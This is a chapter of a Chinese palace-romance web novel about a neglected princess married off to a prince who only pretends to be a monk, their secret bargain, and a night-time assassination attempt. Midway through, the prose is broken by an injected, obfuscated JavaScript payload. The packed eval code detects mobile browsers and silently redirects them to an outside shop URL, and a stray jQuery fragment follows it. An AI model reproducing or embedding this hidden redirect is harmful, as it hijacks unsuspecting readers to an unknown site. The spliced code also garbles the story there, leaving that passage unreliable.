广泽十二年,七月初三。
通往北国皇宫的大道上。
一架八抬大轿行在大街之中,和亲的轿子缓缓行过繁华大街,灯笼摇曳。
花轿中,身着凤冠霞披的小公主,端坐于轿中,盖头下掩藏着小公主的绝姿,只是她的眉宇间流露出淡淡的哀愁。
暮商,她本是明月国的最小的公主,命运不公,她自小便被父皇遗忘,常年深居冷宫,如今却成为了明月国的棋子,嫁与北国大皇子。
大街上,人们议论纷纷,笑声、窃语充斥在她耳中,他们对于这场和亲的议论,像是刀锋一般,锋利而刺耳。
他们都在说这场和亲就是一个天大的笑话,一个是冷宫的公主,一个是已经出家的皇子,两人还真是绝配。
暮商紧紧的捏着手帕,指甲隔着手帕陷在肉里,直到手上流出一股热流,她才松开手来。
成亲的日子,皇宫显得非常冷清,四周静悄悄的,只偶尔传来一两声奴婢低声细语的声音。
暮商被嬷嬷带到九华宫,也就是大皇子的宫殿,只有这里才有新婚的气息,嬷嬷把她带到床上坐着。
“公主,您在此处休息,大殿下等会就来。”嬷嬷轻声细语的在她耳边讲道。
来的路途遥远,暮商身边只有嬷嬷才真的把她当作公主,而其余的人根本就没把她当回事,不管言语还是作为。
暮商拿出几片金叶子,温柔地道:“这一路实在辛苦嬷嬷,这是我的一点心意。”
嬷嬷喜笑颜开双手接过:“谢谢公主赏赐,老奴今日也算是沾了公主的喜气。”
道完,嬷嬷缓缓从屋内走出去,将房门闭好。
听到关门声后,暮商掀起盖头,漂亮的眼睛扫视着屋内的布置。
正中间摆放着香炉,从里散发着淡淡的香气,还未等她看完,屋外传来沉重的脚步声,暮商赶紧坐回床上将盖头带好。
门从外被推开,脚步越来越近,最后停在她的面前,暮商只瞧见一双黑靴站在她眼前,只是这人未穿喜服。
这人迟迟未曾动手,反而转身走开,暮商单手揭开盖头,入眼的是一个穿着黑色衣裳的男人。
她试探的问:“你是大皇子?”
想知道也不难,因为这男人没头发,整个皇宫除了大皇子褚九祠其他人都有头发。
男人缓慢回头,光头下是一张令女人都嫉妒的脸,他的长相只能用妖孽来形容。
褚九祠淡然开口:“对,我是。”
褚九祠弯腰坐在椅子上,他拍了拍旁边的桌子,示意暮商坐他旁边,暮商走去。
桌上不知何时放着一封信,暮商本是不感兴趣,只是这上面的两个字确实有点刺眼。
上面写着‘休书’二字。
她挑眉微微一笑似乎没将休书放在眼里,她手支着下颚,眉眼弯弯,好生撩人:“夫君,新婚当晚就休我,会不会不太好啊,好歹我也是以和亲的名义嫁进来的,不如缓个一年半载再和离也不迟。”
暮商嫁过来就没打算带着休书回去。
褚九祠对暮商的回答感到些许意外,觉得她说的话也有几分道理。他把休书放入香炉中,待到燃尽后,双手叉腰:“也行,此事日后再说。”
“今夜我就不在宫中过夜,你从今日起就守在九华宫。”
褚九祠说完就准备离开,却被暮商叫住。
“站住。”
仅仅两个字,褚九祠感受到不可抗力的威严,抬出的脚收回来。暮商上前注视着褚九祠的头顶,她幽幽道:“夫君,你长头发了。”
褚九祠下意识的摸上头顶,他摸到几缕发丝,这才得知他露馅了,他索性将破掉的头套尽数扯碎,黑墨般的发丝全部散落下来。
他把弄着自己骨节分明的手指,声音依旧没什么变化:“真是不小心,让你发现了,看来不能让你留在皇宫。”
暮商往后退下两步,手慢慢的往腰间摸去,直到摸到一处冰冷的铁片时,她才停下来。
莫不是知道他的秘密今晚就把我灭口吧。
她警惕的问他:“你想干什么。”
“你在怕什么,我又没说要杀你。”
暮商悬着的心终于落下,她收回手,装作无事发生一般与褚九祠保持着一段距离。
褚九祠也不打算离开了。
“既然你已知晓,那我们就谈场交易如何。”
暮商听到这番话后,她既然占据着主动权,那她可就不客气了,手拍在桌上,开始提要求。
“你的事,我并不感兴趣,我只要你答应我几件事。”
“就这么简单?”
“别急,我还没说什么事呢。”
“只要你不说出去这件事,其他的事我都能答应你。”
暮商自知她仅有一年的寿命,哪还有闲心去管他的事,倒不如自己过好一些比什么都重要。
“第一,一年内你不能休我;第二,我想要的东西你必须满足我;第三,我身体不好需要一个嘴严且能干,身份背景干净的人给我当贴身婢女照顾我。”
暮商让褚九祠一年不要休自己,就是想等到自己死后能有个人给她收尸。
“好,我答应你。”褚九祠想也没想就答应她,他对于这个冷宫出来的小公主产生疑问:“你不是冷宫长大的吗,按理来说,冷宫那种地方出来的人,不是胆小就是自卑,你似乎有些不一样。”
暮商迟疑一下:“你也知道冷宫的日子不好过,我就想过一年的好日子,这不过分吧。”
褚九祠认同的点头:“的确不过分。”
“既然如此,那你走吧,这宫殿往后就是我潇洒快活的居所了。”
暮商打开门侧身站在门侧,赶着褚九祠出去。
褚九祠重新将自己的头发藏好,月光打在他溜光的脑袋上泛着白光,“你要的人叫乔儿,等会她会过来,九华宫不比其他宫,这里没什么人,你在宫中若是有难,就叫乔儿去找一个叫洗砚的人,让他来找我。”
“知道了,我来这边实在是太累了,我想早点休息,你赶紧走吧。”
暮商毫不客气,完全把九华宫当作是自己的家,急着把褚九祠赶出去,这就是拿人把柄的硬气。
等到褚九祠走后,暮商将凤冠取下随手丢在地上,把挽好的头发放下披在肩后,她闭眼揉了揉发痛的头。
门被敲响。
“进来。”
一小奴婢端着脸盆走进来,对着暮商行礼:“奴婢乔儿见过公主。”
暮商睁开疲惫的双眼,垂眸看着跪在地上的宫娥,这宫娥的生的乖巧,皮肤白净,看上去约莫二十岁的样子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13259238|139803||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“起来吧。”
“多谢公主,奴婢为公主梳洗。”
乔儿放下脸盆,拿起木梳替暮商梳着乱糟糟的头发,手上动作极为轻巧,暮商透过镜子观察着乔儿,目前看来这乔儿也没什么坏心眼。
毕竟冷宫出来的,要她相信一个人,很难,只能往后慢慢试探。
“公主,你的身子怎么这么凉,莫不是来的路上受了风寒,奴婢这就叫太医来给你诊脉。”
乔儿放下木梳,显得有些着急,这七八月间,哪还有人身子能凉成这般。
眼瞧着人就要跑出去,暮商眼疾手快的拉住她:“无事,我从小身子就偏寒,你去帮我温壶酒来。”
暮商早已习惯这具身体,不论四季,她的身体都如同寒冰一般,捂不热。
乔儿还是有些担心:“当真不叫太医吗。”
“嗯,你去吧。”
“是的公主。”
褚九祠离开皇宫后,来到明华寺,也就是他‘出家’的地方。
明华寺被竹林深深包在其中,他穿过大殿中心,走到一个小池塘旁,褚九祠拿出铜钥来到一处竹林中的秘密所在。
推开门,是一处巧妙布置的庭院,围绕着中央的小花坛,四周是润润的草地。庭院内有着一间小小的茶室,墙上挂着茶具,屋内放着一张矮桌和两把靠椅。庭院里面是一座轻盈的木楼,楼顶上有一个小小的鹤亭。
站在上面可以看俯瞰全部庭院和竹林,和前面的寺庙完全是两个景色。
褚九祠煮了壶茶,他静静的坐在庭院的石凳上。他本是答应皇帝再过半年回宫,奈何这亲成的太不是时候,所以才起了休妻这个念头。
他不由的想起暮商刚才所说的话,说实话,他不知道暮商说的话是真是假,也不知道暮商会不会把这件事告知他人。
他没把握。
不过,好在这事就算是败露对他也没太大的影响,毕竟他也‘出家’两年有余,再在明华寺住个半年也不是不行。
往后的事往后再看。
“公主,酒煮好了。”乔儿小跑着走进房间。
只见暮商已经躺在床上睡着,乔儿放下托盘,轻手轻脚的上前给她将被子盖好,把屋内的烛光灭掉。
已是夜半三更。
暮商所在的房间外传来打斗声将她吵醒,暮商撑着没劲的身体坐起来,她扯着沙哑的声音喊道:“乔儿,外面是什么声音。”
只见乔儿慌乱跑进来,她神色慌张:“公主有刺客。”
刺客?
暮商走到窗前,将窗户戳了个眼,她透过眼向外看去,借着月色只能看清几个黑衣人和侍卫在院内挥刀相向。她这刚嫁进来没几个时辰,就有人想杀她了?
“乔儿,这些人是来杀我的吗?”
“公主,他们是来刺杀大殿下的,只是他们不知大殿下已经出宫。”
从乔儿的语气中她没有感到一丝意外,相反觉得是家常便饭一般。
暮商挑眉,这群人还真是不眠不休啊,连新婚之夜都不放过人家,她走到门边把门推开,刚想要说话,就被涌进来的侍卫惊住。
侍卫将刺客包围住,侍卫后面跟着一个中年太监,太监双手交叠,目光如炬,声音尖细。
“陛下口谕,今夜闯入九华宫的刺客就地斩杀。”